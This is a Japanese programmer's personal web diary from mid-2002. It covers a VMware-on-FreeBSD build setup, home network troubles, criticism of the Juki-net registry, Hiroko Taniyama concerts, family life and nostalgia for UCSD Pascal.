こんなときに便利なのが Vmware であります。Evariste ちゃんに Vmware をインストールして FreeBSD 上の Linux Emulator で Vmware を動かして、その上で NetBSD/i386 を動かすのです。←あ～、疲れた、よく動くものですな。
どうせ telnet や ssh でログインするだけですし、作業もコンパイルだけなので、エミュレーションのオーバーヘッドもほとんどなく、非常に快適です。ファイルシステムは NFS を利用すれば、隣に広大な領土が見えますしね。 Vmware にとっては FreeBSD の通常ファイルが IDE のドライブに見えるので、単なるファイル転送で他の PC へ全く同じ環境の移行が可能なのも便利です。
かくして、Galois ちゃんには、最低 3つの端末が並ぶことになります。
```
    Evariste ちゃんの hogehoge.c を編集する Emacs。

    Evariste ちゃんの hoegehoge.c を make する Vmware の 
    NetBSD/i386 の端末。Evariste ちゃんをマウント。
    make を実行するためのみに使用。

    NetBSD/sh4 の端末。Evariste ちゃんをマウント。hogehoge.c
    から生成された実行ファイルのテスト。
```
そのほか Galois ちゃんには、この日記を編集する Emacs や w3m,Mew のための Emacs、ほかのプロジェクトの Java 用の Emacs、あとモジラなど、たくさんのアプリケーションというか画面が常駐しているのです。そういう意味でも、大きい仮想画面は必須なのです。
Vmware は、お客さんのところの、古いバージョンの FreeBSD で動作してるプログラムのデバッグなどにも便利です。Windows 上で Linux を動かしたり、その逆を行うのに便利なだけではないのです。
究極のソースバックアップ方法。
お客さんに、一週間に一回くらい進捗報告をかねてソースを送る。わたくし、ソース公開の契約を結ばなくても、必ずお客さんにソースは送っちゃいます。
全然関係ない話ですが、わたし、もう冷房がない生活なんて考えられないです(^^;。マンションですしね。あと、昨日の疲れがとれません。昨日から精神的に不安定(^^;。
次世代ネット「ＩＰｖ６」国が税制優遇など普及支援。各個人に IPv6 アドレスが割り当てられて、住基ネットの ID が埋め込まれるかも知れませんね。なんでも、情報化、自動化すればいいもんではないと思いますが。それにしても 2010 年に 170兆円規模と言っているが、人間、住んだり、食べたり、エッチしたり、三女を可愛がるのが基本なのであって、たかが IPv6 の情報の流れにそんなにお金を使えるわけないでしょう。やっぱり、生きていく上で大切なのは「モノ」ですよ。あと、記事の最後に、
現状では米マイクロソフト社の基本ソフト「ウィンドウズＸＰ」がｖ６対応だが、ネットワークや端末での導入は思ったほど進んでいない。
とあるが、いくらなんでも、かめさんや、うさぎさんに失礼なんでは。
IPv6 に移行する必要性自体に異存はありませんが、現在のような状況で国家が介入してくるのは危険を感じます。情報利権と情報監視は、道路や橋の様に目に見えないだけに、市民からの監視が、今まで以上に難しいかも知れません。
おっと、人間の生活の基本に大変な書き忘れがあった。谷山浩子さんの歌を聴くこと(♥)。久しぶりに「銀の記憶」を聴いているけど本当に幸せそうですね。ただ、あんまり夏向きではないかな(^^;。
↑突然ですが、モジラだと ISO-2022-JP-2 の大きい白ハートと、&hearts; のハートが見えるはずです。文字化けしちゃってる方には申し訳けございませんm(__)m。
ちなみに w3m は文字化けと &hearts; ですね。 ISO-2022-JP-2 は知っていましたが、&hearts; は知りませんでした。
ずっと EUC だったけど、今月だけ JIS になってしまいました(^^;。
オリジナルの HTML のイメージです。モジラの表示イメージはこれです。

2002年8月6日(火)

実は、今日から三女、サイエンス倶楽部の夏期野外実習で、福島県の入水鍾乳洞に2泊3日でおでかけです。鍾乳洞に入ったり、岩石採集、砂金とりなどを行う予定です。
入水鍾乳洞には 8年前に家族全員でいったことがありますが、わたしは、当時一才くらいの三女のおもりをしていて、鍾乳洞には入れなかったのです。こんど、三女が探検するので、家族で入水鍾乳洞に入っていないのは、わたくしだけという悲劇が発生するのであります(^^;。
朝 6時45分(^^;までに、横浜駅から歩いて 10分くらいのところに送っていきました。奧さまに車で藤沢駅まで送ってもらい、三女とわたしで横浜へ。 5時起きで、5時40分頃家を出て横浜へ。ちょっと早いけれど、その後会社に直行しました。
三女はバスに乗って 7時に出発しました。わたしは、8時に会社到着。眠いです。今日から2日間さみしいな(^^;。
谷山浩子さんの FC(Fan Club)に入会して、会員証が来たのがたしか 4月の終り頃。もしかすると MC(Music City)って何回か来ていたのかもしれません。なんか、さえない封筒に入ってくるので DM と思って捨ててしまっていた様な気がします(^^;。今回は、先行予約の情報があったので、注意していて気が付きましたが、もしかして非常に危険な状態だったのかも知れません。もう、東急ストアーの前に並んだり、e-plus の先行予約でどきどきするのはちょっと(^^;。
そうはいうものの、あれは、あれでいい想い出であります。チケットの取り方とかいろいろ教えてもらいましたね(^^)。
今日は午後から埼玉県。直帰です。
また、余計なこと書いたかも。ごめん。今日はお弁当がないので、お昼を食べに行ってきましたが、本当に暑いです。この暑さのなか、埼玉に行くのもちょっとつらいです。
とんでもない暑さでありました。熱風が吹いていました。電車に乗ると寒いし、本当に疲れました。
家に帰るとモカちゃんがいない。やっぱりさみしい。つまんない。完全な三女依存症ですね。なおさなくては、って直すわけないですよ～(^^)。もう、甘やかして、甘やかして、甘やかすのだ～。
二匹目のイモムシがさなぎとなった。今後増えなければあと二匹(^^;。

2002年8月5日(月)

今日は11月と12月のコンサートの振り込みを奧さまにお願いして出社。
今日から、住基ネットが稼働するわけですが、単純に技術的な観点のみからのわたくしの直感では、まともに動かないだろうなと思う。きっと、ソフトウエアの出来は、みずほ銀行より悲惨な状態なんじゃないかな。確信はないけど。
ところで、わたしの家に番号とかまだ来ていないのだが、いつ来るのだろう。すぐに破棄して、変更届け出そうかな。
この記事によると、
「将来、お金の決済をネット上で行う時に、公的な個人認証の仕組みが必要になる。住基ネットはその仕組みの基盤になるものであり、それによって電子商取引、電子納税、電子決済が可能になる」と総務相がのたもうたるが、電子納税は、国や地方が勝手にやるものなのでともかくとして、商取引、決済に関しては、現行のクレジットカード等の利用でさほど問題があるとは思えない。近いうちに、法律等で、個人のネットワーク認証を 11桁の ID 以外実質不可能とする意図を感じますな。全国民監視国家の第一運用開始ですね。
なるほど、確かに民間へ開放しないと、決済等難しいですね。人間どんなに注意しても、本音がでるもんですね。
今日から、気分をかえて、しばらく「まやちょん壁紙」。著作権等に関しては、 2002年7月4日(木)に記述したとおりでございます。全部で20人並びました(^^)。
わたしのノート PC は 1024x768 Pixel ですが、仮想画面を使っているので、 1600x1440 Pixel という巨大デスクトップなのです。X Window で WindowMaker とか使用していると、タスクバーもないし、最大化するアプリケーションもないので、仮想画面は非常に使いやすいです。さすがに 800x600 だと少し悲しいですが、 1024x768 ならしばらくは満足できそうです。ちゅーか、これ以上細かくてもノートの大きさでは目が死にます。
とつぜん隣の S 君の席に、大きくてかっこいい液晶モニターが置いてあった。 FlexScan L685EX という 18.1 inch 液晶ディスプレー。なんと 23万円を自費で買ったとのこと。お金持ち～(^^;。
ちなみに S 君は Linux 派であり、わたしとは永遠のライバルなのである。前にわたしのこと殺そうとしたし。
I さんが教えてくれた話によると、今日の 7時半から NHK で「驚き！恐竜王国・最新学説で迫る夢の恐竜復活プラン」という番組があるそうですね。奧さまにメール出してビデオとっておいてもらいましょう。
幻想図書館の開始日から丁度一ヶ月なんですね。なんか、谷山浩子さんのホームページにコンサートの日程が間違っていると出ていましたが、ファンクラブからの紙は大丈夫なのかなあ(^^;。もう出しちゃったはず。←大丈夫の様ですね。2001年っていうのは気が付かなかった。さすがに振り込み用紙には全部 2002年とかいたはず。かりに 2001年になっていても、いくらなんでも分かるでしょ(^^;。

2002年8月4日(日)

この間、高校三年生の長女と奧さまが、高校にいって大学進学の三者面談をしてきました。残念ながら、全く話があわなかったらしいです。
長女も、奧さまも、わたしも、就職のために大学に行くという発想は全くないのですが、先生の発想は就職のことばかりだったらしいです。将来、こんなことやりたいと言うと、それに直接か無理やり関連づけた実学的な学科ばっかり。
三者面談にさして期待しているわけではないのですが、学校の先生たるもの、「進学は就職のため」という発想では困りますな。自分が勉強嫌いだったのかな。長女なんて、勉強が出来るわけではないし、好きでもないのですが、それでも自分がやりたい勉強のために進学するのです。そもそも、就職のために大学に行くなんて言い出したら、お金出してあげないもんね(^^)。
週刊誌などを読むと、「大学の偏差値と就職実績・どこが得か」の様な記事がのっていたりしますが、つまらないことを考えるものですな。
今日は、夏ばてと風邪でダウン(^^;。
復活したら、こんなハンカチを発見。おそらく、昔のりぼんの付録。結構レアーかも(^^)。
アタマジラミを飼っていたのは二女であった(^^;。三女にも移るだろうな。いやだな～(^^)。
奧さまが「しらみホイホイ」を買ってきてみんなの頭に振り掛けました。このページのシラミ用スミスリンパウダーですね(^^;。
有効成分はフェノトリンだそうです。

2002年8月3日(土)

二女が大量に持ってきてくれた、郵便振替払込金受領書なる紙に、大阪、名古屋、東京(8回)の入金情報を書き始める。いや～、神経つかうし、面倒ですなあ(^^;。せめて、東京を一枚に書けるといいんだけど。
もう、目が悪くって、むしめがね使わないと見えないし。
大阪、名古屋は完了。東京2枚完了。
最近の、谷山さんのページ、更新頻度がすごいですね(^^)。
久々にチャチャ様の掲示板にどうでもいいことを書きました(^^;。それにしても、わたしなんて日記だけでも精一杯なのに、チャチャさま、絵も描くし、掲示板の運用、そして日記等、本当に大変だと思います。お世辞で無く、絵の上手さ、見易さ、全体のバランスの良さ、細かい配慮等々、お人柄とともに本当にすばらしいページですね。
どうでもいい話ですが、新しいトラックボールのゴム使用開始です。
わたしって、メーリングリストみたいな、不特定多数に対して、修正不可能なものって難しいかも知れませんね。いつも、衝動的に何か書いて必ず間違う。掲示板みたいな修正可能なものでないとちょっとつらいかも知れないです。あと、このページみたいに勝手に修正できるのとか。このページだって、何も考えずにアップして、それを見てから修正するもんね(^^;。
ADHD(注意欠陥多動性障害)の後遺症で、その辺の衝動性が消えないのかも知れませんね。
という訳なので、人数が多い方はしばらく沈没していようかと思います。
結局、いろいろ書いたり、インターネットを漂流しているうちに、眠くなってきました。残り6枚は朝以降ですね(^^;。
11時からドラム。福島の姉が送ってきた桃を持っていく。今日はエレクトーンパートの和音とり。
残りの 6枚書き込み完了。全部で 10枚。ふーっ、疲れた。ちゃんと見直して～。月曜日に郵便局に持っていく予定。それにしても、暑くって外に出たくないですね。
あっしは、アルコールがだめなので、こういう場合は、氷を大量にかじる。冷蔵庫の氷ではすぐに不足するので、ローソンに買いにいこう。
地球の形が最近また歪み始めているらしいが、こんな暑けりゃ、そりゃ、歪みますな(^^;。
アタマジラミ発見(^^;。三女の頭に卵をうんだかも～。うちの子供全員飼ったことがあるんだよね(^^;。
えー、ここ十年位アタマジラミは増えてますので、小さいお子様がいらっしゃる方はご注意を。といっても、注意する方法もないですけどね。たいして実害ないけど、しぶといです。
アゲハのイモムシが増えてる(^^;。

2002年8月2日(金)

昨日 21時頃家に着いたらだれもいない(^^;。 22時頃奧さま、二女、三女が帰ってきて、近くのお寺で肝試しをやってきたとのこと。三女、お風呂でシャワーを浴びるのを見ていろとか、トイレに一緒に来てとか、可愛いのです。←本当に、三女に弱いですなあ(^^)。
同じマンションの I さん、自分達が終わったので「もう帰ります」だったそうな。この暑さの中、準備をする人たちの苦労が分かってないですなあ。イベントの準備や後片付けは大変な労力なんだから、最後まで付き合うのが最低限の礼儀ってものでしょ。去年は奧さまが子供会の役員やってて、結構苦労したんです。
コンサートツアーで移動するとなると、谷山さんも大変だろうけど AQ さんはもっと大変かもね。音楽の現場って大変な物流肉体労働だから。
アゲハのイモムシ、さなぎとなりぬ。一安心(^^;。だけど、もう一匹まだ茶色いのがいるんだよね(^^;。雷がなっていますな。
川上が無安打無得点試合　巨人相手に快挙達成。わたし、1978年8月31日仙台宮城球場での阪急・ロッテ戦で、阪急の今井雄太郎投手がパーフェクトゲームを達成するところをネット裏から見るという、おいしい体験をしたことがあります。7回あたりから燃えてきました。本当は、準フランチャイズのロッテの応援してたんだけど(^^;。
宮城県沖地震が、この年の 6月12日だったのですね。
福島県矢祭町という名前、ごく最近まで知らなかったです(^^;。福島県って広くて、なかかな全容がつかめないのと、わたしが大の地理苦手であることの相乗効果ですね(^^)。
ホームページをみても、福島県とは思えない斬新さですね。それはともかく、「住民基本台帳ネットワークシステムに参加しない矢祭町の基本的な考え」にハッカーって書いてあるけど、一般的にクラッカーのことをハッカーと呼ぶのはもう仕方ないのかな。
リンクに関する私の勝手な考えですが、インターネットに公開しておいて、リンクを張るなという主張には全く賛同できません。
そうはいっても、一般個人のページで、その人がいやがっているものをあえてリンクしようとも思いません。こちらからリンクを張る場合、そのページに明確にリンク許可の記述がある場合か、ページの所有者から許可を得たものに限ります。
ただし、個人のページでも、明らかに資料性、公共性がが高い場合、勝手にリンクしちゃってる場合があります。相手が個人の場合、リンクの文脈には一応気をつかってるつもりです。例えば、悪口の文脈でリンク張られたら不愉快でしょうから。
公共機関、企業、政治家の様な公共性が高い個人のページの場合、「リンク不許可」と書いてあっても無視します。
というわけで、あんまり張る人もいないと思うけど、このページは任意の場所がリンクフリーなのです(^^)。
最近、新しい落書きを書いて頂けないのは、ネットワークの障害のせいだけでなく、暑さのせいもあったのですね(^^;。今日は、昨日ほど暑くないのでは(^^)。
おっとまた雷ですね。うわっ、今３時半なのに外が真っ暗。雨も降ってきましたね。

2002年8月1日(木)

今日は久々に午前様で帰宅。いやだいやだといいながら、ある程度動き出すと制御が面白くなってしまう、技術者の性なのです(^^;。
朝の 2時過ぎに寝ても、最近いつも 6時前に勝手に目が覚める。三女が 7時にプールに行くので、 6時半頃に起こす毎日。起こされることはあっても、起こす様になったのは生まれて初めてですね(^^;。
それにしても、眠いですな～。
名古屋ですが、やはり迷った時には行動するという規範に従い、行くことに決定(^^)。一泊する必要がありそうですね。
イベントカレンダー更新。 MC にはさんである先行販売の紙をみましたが、面倒な手続きですな(^^;。とりあえず、お金をたくさんおろさなくっちゃ。
猫森集会が終わって、大阪、名古屋だと、２週間おき位で、また聴きたくなるころなので、丁度案配がよさそうなの(^^)。
東京も含めて、平日のコンサートの日は全部有給届けを出しました。前にも書いたように、うかつに社内にいると、極めて危険な場合があるのです。前は、ちょっと体とか頭の調子が悪いと、その日になって突然休んでいたりしたが、今はその様な無駄なことは絶対にしないのだ。
わが家のハブは O さんから 500円で譲ってもらった 10Base-T のばかハブでして、そのあたりも 30Kbps 問題の原因かも。こんど、別のハブで試してみよう。 Samba だけでなく、ftp とかもだめなのです。
ノート PC の fxp なんですが、会社では相手が Windows でも全然問題ないんですよ。
そろそろ，ネットワークの詮索は一休みで、新しい絵を見たいな。だけど、私の方はダウンロードがちょっと遅くなるだけで、全然実害がないし、そもそもすでに全部ダウンロードしてしまっている(^^)。ところが、ご本人にとっては非常に実害が大きいし、ああいうのって実害以前に不愉快なんだよね。
８月、暑さ本番　都心は朝から３０度超す。本当に暑いですね。こんなときは「寝苦しい夜のために」。 ←これ書きたかっただけ(^^;。
なんか、ものすごく間抜けな反応しちゃいましたねえ(^^;。リロードしなかったのが大失敗。あれれ、また To: に 2 つアドレスつけちゃった。Mew ってデフォルトでこうなっちゃうの。ごめん。
確かに便利そうですねえ(^^)。さっそくブックマークに登録です。

2002年7月31日(水)

トラブルがあるとか、最高速度がでないとか、不満が無いわけではないのですが、ADSL とか光ファイバーを使った常時接続になって、インターネットの接続は夢のような環境になりましたね。
わたし、パソコン通信の経験がなくて、インターネットに初めて接続したのが 7 年くらい前かな。当時は、今の前の会社で、食品会社の物流子会社のそのまたコンピュータ部門に所属していました。今はプログラマーを自称しているけど、当時はその呼び方だと人月単価 (オイオイ)が安くなるということで SE と呼ばれていたのです(^^;。
数百万円した IBM RS/6000 を一人でおもちゃにして、物流関連の通信ソフトなんか作っていました。 BSC をデータリンクとする JCA手順、全銀手順なんて分かるかな(^^)。通信プロトコルの実装に yacc(Yet Another Compiler Compiler)を使ったりして、完全に遊んでましたな。あと、物流の需要予測の研究・開発という建前で Mathematica を買ってもらったり(^^)。
こんな閉じた世界で仕事をしていたので、会社でのインターネット接続は無理な話でした。そこで、自宅でインターネットに接続することになったわけですが、なんせ予算も限られていたので、テレホーダイを利用してプロバイダーも定額制じゃないと困る。そうすると、当時条件を満たしたのは bekkoame だけ(^^;。
いやー、遅いのなんのって。23時前はまだ使えるんだが、23時になったとたん、平均で 300Byte/sec でたらいい方でしたね。 1Mバイトの PNG ファイルをダウンロードなんて無理無理。当時はそんな「極悪ファイル」(^^)どこにも置いてなかったけど。 Netscape なんかダウンロードするときは、夜中の 3 時頃に開始して、朝に完了していたら万歳～。
確か、上流の IIJ と 1.5M bps でつながっていると自慢していて、そこに何千人だか何万人もぶら下がっていたんです(^^;。
ちなみに、このころ会社も今のところに移りました。さすがに、前の会社では技術的な限界を感じましたから。
3,4年前から、大部分のプロバイダーが定額制に移行しまして、 Poisson 分布の法則から、規模が大きい方が良いであろうと考えて、 biglobe に移行しました。このころからテレホーダイの時間でもそんなには遅くならなくなりましたね。平均して 1000Byte/sec 位は出るようになったと思うのだけど。
去年の 4 月から藤沢で ADSL がサポートされまして初日に申し込みました。減衰が大きくて 800Kbps 位しかでなかったけど、常時接続なのが大変化で、速度もダイアルアップとは比べ物にならなくなりましたね。まさに世界が変わったと感じました。会社とも VPN で接続しましたし。 8M への変更は前に書いた通りです。
極悪 PNG を 5秒でダウンロード出来ないと文句を言っているのですから、良い時代になったのだと思います(^^)。それはともかく、やっぱりルーターは関係ないのかなあ。じゃなっくって FreeBSD に戻したのね。
このページも月末ともなるとテキストのみにしては極悪ページですね。明日からしばらく優良ページです。
広辞苑によると、極悪ページや極悪ファイルとは、大きくてダウンロードに時間がかかるページやファイルということですね(^^)。
藤沢市って、神奈川県の田舎のわりに、インターネット関連のサービス開始が早いのです。きっと慶応大学湘南キャンパスがあるからだろうな。
奧さまからメールで、FC から封書が来ているとのこと。かなり強行日程ですねえ。名古屋に行きたいけど予算がどうかな。今年で、案配はわかったので、来年はちゃんと年間計画をたてないとね。今年は CD 代もすごかったし(^^)。ところで MC って何の略？← Music City ですか。
イベントカレンダー更新。

2002年7月30日(火)

いまさら書きにくいんですが、実を言うと、80年前半と90年代の曲が大好きで、 2000年に入ってからの曲は、どうも本当の良さが分からなかったのです。とくに「心のすみか」の良さが分からなかった。ただ、言葉では表現しにくいのですが、幻想図書館を聴いてから、力が抜けた自然さがすばらしいんだと分かってきた様な気がします。「心のすみか」も最近よく聴く様になりました。生で良いものを聴くと感じかたも変化しますね。
今でも、ちょっと苦手なのは「空飛ぶ日曜日」「水玉時間」ですね。わたしの感想なんてころころ変わって、あてにならないので、聞き流して頂きたいのですが、どの曲がということでなく、全体の印象として「鏡の中のあなたへ」や「夢半球」とは違った、暗さというか、精神的な不安定さを感じるのです。それが、良いという感じかたもあるのでしょうけど。
丁度谷山さんを一度好きになって離れてしまった時期に聴いたアルバムですし。
きっと「闇に走れば」は永久に好きになれないな。この曲の印象が暗すぎたのです。直前に聴いた「眠れない夜のために」の美しい透明感と全然印象が違ったし。アルバムの真ん中辺の目立たない場所に入ってれば良かったのに。あと「SORAMIMI」もちょっと苦手。
30枚もアルバムがあるので、何曲か好きになれないのも仕方がないですね。将来、好みも変わるかも知れませんし。好き嫌いが、アルバムの内容に関係するのは当然ですが、最初に聴いたときの状況や心理状態にも左右されますね。
一度谷山さんから離れてしまったのは、生活の変化の方が原因だと思います。
つまんない話ですみませんでした。この件に関する話は、もう自分を納得させたので、今後書かないつもりです。
あんなに大騒ぎして買ったトラックポイントのゴムが行方不明(^^;。いくらなんでも、また 280円で発注するのは IBM に申し訳けないので、２セット注文ですな。P さんと共同購入で３セットかな。
きっと、新しいのが届いた頃、どっかから出てくるんだろうな(^^;。
今日の朝５時半頃、足のふくらはぎの痙攣。あれは本当に痛いですなあ。それでも、かなりの量の脳内麻薬(beta エンドルフィン)が分泌されたらしく、痛みが終わってからしばらくはなかなか気持ちがいいの～。←ばかですな(^^)。
いよいよ、あんまりやりたくない開発をしなければいけないが、やるからには最高のものを作るのが技術者としての倫理ですね。まずは開発環境の構築から開始です。あと、新しく入社してきた人の PC のセットアップもやるなんて言っちゃった。 Windows 2000 ですか。えー、わたしも何回か Windows のプログラムを組んだことはあるのです(^^;。
例のごとく、添付されたネットワークカードのフロッピーには 98 用のドライバしか入ってませんね。インターネットには W2K 用が落ちていますが、この一台しかないとさぞかし困るでしょうね(^^;。
確かに、最近、日に日に遅くなっている様な感じです。困ったもんですねえ。
わたしの家の FreeBSD と Windows マシンの 30Kbps 問題も、いろいろいじってるのだけど直らないの(^^;。←前に 3Kbps と書いたのはけた違い。

2002年7月29日(月)

目が覚めたら渋谷(^^;。目標の 9時に 20分遅れ。別に 10時半までに出社すれば遅刻ではないんですが。
昨日の最後の件に関して。サラ金から一年間お金を借りるということは 25% 以上の利息を払うということです。一方、競馬の配当の戻しが 75% です。つまり、サラ金から一年間お金を借りるという行為は、競馬に投資するのと同等かそれ以上の損失行為です。 ←75% の乗算と 125% の除算は違うからウソが入ってますね。どうせ、サラ金からお金を借りる様な人は気が付かないだろうけど(^^;。
今、お金が不足している人に、競馬でなんとかしなさいとは普通言いませんよね。
そういう意味では、宝くじの戻り率はたしか 50% なので、これを買うのが一番愚かな行為。私は絶対に買わないはずなのだが。
偉そうなこと書いているが、競馬もやったことあるし、宝くじも買ったことあります(^^;。サラ金はないよ。宝くじの場合は、当たった場合を想像する白昼夢を見るために買うという面はあるね。
最近は、宝くじを含めて賭事はやらなくなりました。そもそも、わたしの様にすぐに熱くなる人間に賭事は無理なのです。
政府が ETC の普及を急ぐ理由として、AVI の Nシステムを強化する意図を感じるのは考えすぎですか。住基ネットと組み合わせれば、なかなかすばらしい監視システムができそうだと思うのですが。
政府が「便利になります」と宣伝すると、別の意図を疑ってしまいます。おっと、今度は首都高速値上げですか。好き勝手に値段を決めれていいですなあ。
大阪府全域また通話障害「ワン切り」原因か。こういう、常識では考えられないバカをやるやつが出てくるから、世の中の規制が増えて不便になるとともに、政府に都合の良い状況となるのです。インターネットだって、本来もっと自由で使いやすい環境だったはずです。それにしても、チャチャさま、さぞかしうっとおしいでしょうな。
台湾にいってなくて、土日に仕事する必要がなければ、三女と写真展に行くつもりだったんですが。残念です。
目黒寄生虫館も行こうと思って、まだ行ったことがないので、今度行きましょう。
いろいろご配慮ありがとうございます(^^)。

2002年7月28日(日)

今日も在宅勤務です(^^;。監視カメラとは関係ない、昔のプログラムの拡張なんですけど、わたしのコメントって、
```
    /* うーん下品だ */
    /* ここは美しい。おそれいったか～ */
    /* バグのおそれあり */
    /* てぬき */
    /* ゾンビを防ぐ。ゾンビが来たりて笛を吹く。お～こわっ */
```
こんなのばっかりで、全く役に立ちませんな。うーん、何をやっているのかわからない(^^;。
またチャチャさまのところ「一休み現象」発生ですねえ。 1 Mbyte 位の PNG のダウンロードが、通常 5 秒くらいで終わるのが、50 秒くらいかかってしまいます。結構根が深そうですね。余計なことかも知れませんが、こういう場合、 TCP じゃなくて UDP でいろいろ実験すると原因が分かりやすいかも知れませんね。/usr/ports/net/iperf/ とか。
三女がアゲハチョウのイモムシを２匹捕獲。夏みかんの葉っぱで飼い始めました。実を言うと、三女と奧さまは平気なのですが、わたしはイモムシとミミズ系がダメ。アゲハの幼虫は可愛いと言えば可愛いんだけど、それでも逃げ出したことを想像しただけで怖くなってしまいます(^^;。ヘビは平気なんだが。
これから、例年通りだとカブトムシも飼うはず。あの幼虫もちょっと(^^;。ところで、カブトムシのオスって人間並みのすごさです。いやがるメスを無理やりおさえつけて、毎晩毎晩、もうとってもすごいのですよ～。奧さまの説によると、オトコは例外なくおばか。
三女、もう鳥を飼わないとのこと。やっぱり手の上で死んじゃったのがショックだったようです。
長女は、高校野球が負けた←予選の２回戦(^^)残念会で、徹夜カラオケのはずだったのですが、腰痛で(^^;帰ってきちゃいました。我々の年代だとかえって少ないんだけど、高校生の腰痛って結構多いんです。
今の高校生は、なにかと理由をつけて「打ち上げ」を行いますね。それとも、わたしの娘だけかな。神奈川県でも有名な遊び高校だしね。それにしても、驚くほど勉強しませんな(^^;。別に、自分の人生なんだからいいんだけど。ほとんどの人が、「若いときもっと勉強しておけば」と思うのだろうけど、若いときは分からないもんね。
鳥越さんのザ・スクープの終了が正式にアナウンスされましたね。テレビが権力に対する抑止力として全く役に立たなくなった場合の象徴的な出来事になるかも知れません。
それはともかく、前に書いたように Windows Me で見ようとすると、メディアプレイヤーが固まってしまう。 ADSL を 1.5M から 8M に変更してからなんだけど、いくらなんでも関係ないよな。Windows の再インストールしかないんだろうけど、奧さまのデータや、娘のデータがどうなってるか全然わからないの。D ドライブなんて作ったのも大失敗でした。普通の人が使う場合、なんでもデスクトップに置くので D なんて作ってはいけなかったのです(^^;。
テレビ朝日の今の社長はよほど無能なのでしょうね。経営者の能力というのは重要ですね。例えば、最近早稲田大学は元気がない。こんなことやってるんだから、そりゃダメになるわな。

2002年7月27日(土)

10時から「王国」ドラムパートのの録音。成功(^^)。
やっぱりセーラー服は夏服がいいな(^^)。だけど、家の中で２人がセーラー服でごろごろころがっているのを見ると、なんかね～(^^;。チャチャさまのセーラー服じゃないとだめだね。ちゅーか、その女の子チャチャさまなの？
あれっ、こんなところに隠しひとりごとリンクがあったのね。
家で仕事をしていると、すぐその辺でごろごろしたくなりますな。それはともかく Acroread5 をインストールする。Linux emulation で動作します。日本語フォントパックが必要で Adobe から直接ダウンロードする必要がありますが、まず、なかなか置場所が見つからない。やっと見つけると、氏名・住所等の情報を入力させられる。本当の名前をいれる人がいるのだろうか。今日の私の名前は Albert Einstein よ～♪
Sun と Adobe はわざとダウンロードを面倒にしているとしか思えないの～。

今日は Java の仕事をしなければならないのですが、Java の言語的な先祖は C でしょうが、環境的な先祖と思われるのが UCSD P-System。このシステムは Z80 時代にも動作していた OS、Pascal コンパイラによる開発環境こみのシステムで、p-code という仮想マシンで動作したのです。OS やエディタ、コンパイラ、リンカー、アセンブラー自体も p-code というか Pascal で記述されていました。すなわち、システム全体が p-code シミュレータと機種依存解消部分があれば動作したわけです。これって Java の runtime と全く同じ考えです。

わたしは、これで遊びたくって、遊びたくって、 20年以上前の PC8001 に「拡張ボックス」をつないで、その中にメモリー 32K バイトを増設。全部で 64K バイトとました。また、「拡張ボックス経由」で 5 インチフロッピーディスクも接続したのです。金額の概算は次の通り。記憶がさだかでないので、かなり誤差はあると思います。

PC8001 + 16K RAM(合計 32K) 170,000 位

モノクロディスプレイ 30,000 位

拡張ボックス 100,000 位

32K RAM 50,000 位 (^^;

フロッピーディスク(320K x 2) 200,000 位 (^^;

UCSD P-System with Pascal compiler 168,000 位 (^^;

------------------------------------------ ----------------

ちーん 718,000 位ひえ～(^^;

ものすっごいお金かかっていますね(^^;。だけど、このシステムを稼働させて N.Wirth 先生の「アルゴリズム + データー構造 = プログラム」を全部打ち込んで、全部理解して、プログラミングの基礎の勉強ができたのです。あと、PC9801 に移行してからは、アセンブラで i8087 の部分の呼び出しや GDC の機能呼び出しを実装したり。いやー、その位勉強してなければ、いくらなんでも 32 才にもなって突然プログラマーに転職できませんよ(^^;。そういう意味では、無駄ではなかったかな。それにしても高いですな。

転職に関して言えば、今は C のことで知らないことは何もないような顔をしていますが、しばらくは C が分からなくて結構苦労したんですよ。

最近は FreeBSD にも /usr/ports/emulators/p-interp/ に同様の環境が含まれています。こっちは無料(^^)。

それで、インストールして遊んでみると、確かに昔通りの動作。だけど、全然面白くないのです。コンピュータが発達してこちらの感性が変化したことが大きいのでしょうが、おそらく「メカ感の喪失」が最大の原因でしょう。昔のシステムはそれは遅くて、しかもメモリーも不足。エディターやコンパイラを動作させると、フロッピーががちゃがちゃ音を立てて、すごくメカニカルな感じがしたものです。いかにも、自分の手で動かしている感じ。いまのって、速すぎて、音もしないで、分けも分からないうちに終了しちゃって、全然達成感がないのです。

どうも、わたしの場合(わたしに限らないと思いますが)、メカ感がなくなったり、満足できる品質になると、一気にその分野に対する興味が失われてしまう様です。オーディオも LP レコードから CD になって、すっかり音質に執着しなくなってしまいました。今や mp3 だもんね(^^;。 LP の頃は、結構お金かけて散財していました。

UCSD Pascal はその後 Turbo Pascal, Delphi(Objective Pascal) の系統にも多大な影響を与えました。なんといっても Turbo Pascal 出現以前から Unit の概念を持っていたのですから。

UCSD Pascal のリンクを歩きまわっていたら、Brain W. Kernighan の「なぜ Pascal は私の好みの言語でないのか」という小論発見。オリジナルの Pascal に対する正当な批判ですな。UCSD Pascal や Objective Pascal はかなり改善されています。そもそも Pascal の安全性と C の柔軟性は相反するんだよね。

2002年7月26日(金)

台湾に行ってきて疲れたので、まったく下らない企画。曲の長さ順は、石井ＡＱさんのところにすでにあるので、

長さで勝負～。谷山浩子 CD リストだ～(^^)/。時間的にたくさん入っている順です。ただし mp3 のサイズと演奏時間は比例するという仮定です。さすがにベストアルバムは目一杯詰め込んであります。あと、思ったより長いのが「心のすみか」。やはり最近のが長いですね。わたしの好きな「ここは春の国」ビリですな(^^;。


$ du -k | sort -nr
141418  ./hiroko-90s                              HIROKO TANIYAMA '90s
135874  ./memories-2                              Memories 2枚目
132778  ./hiroko-80s                              HIROKO TANIYAMA '80s
132650  ./memories-1                              Memories 1枚目
108186  ./country-girl                            カントリーガール
100234  ./kokorono-sumika                         心のすみか
99762   ./hyouryu-gakudan                         漂流楽団
91346   ./tenku-kashuu                            天空歌集
90938   ./gin-no-kioku                            銀の記憶
89586   ./tsumetai-mizunonakawo-kimito-aruiteiku  冷たい水の中をきみと歩いていく
88042   ./bokuha-torijanai                        ぼくは鳥じゃない
87770   ./tsubasa                                 翼
87490   ./kai-no-meikyuu                          カイの迷宮
86666   ./mizutama-jikan                          水玉時間
86186   ./nemurenai-yorunotameni                  眠れない夜のために
84842   ./yuganda-oukoku                          歪んだ王国
84634   ./ohirunekyuu-osannpokyuu                 お昼寝宮・お散歩宮
84434   ./nekono-moriniha-kaerenai                猫の森には帰れない
83042   ./soratobu-nichiyoubi                     空飛ぶ日曜日
82594   ./tokino-shoujyo                          時の少女
79946   ./bokuha-kimiga-suki                      ボクハ・キミガ・スキ
79090   ./toumeina-circus                         透明なサーカス
78130   ./shippo-no-kimochi                       しっぽのきもち
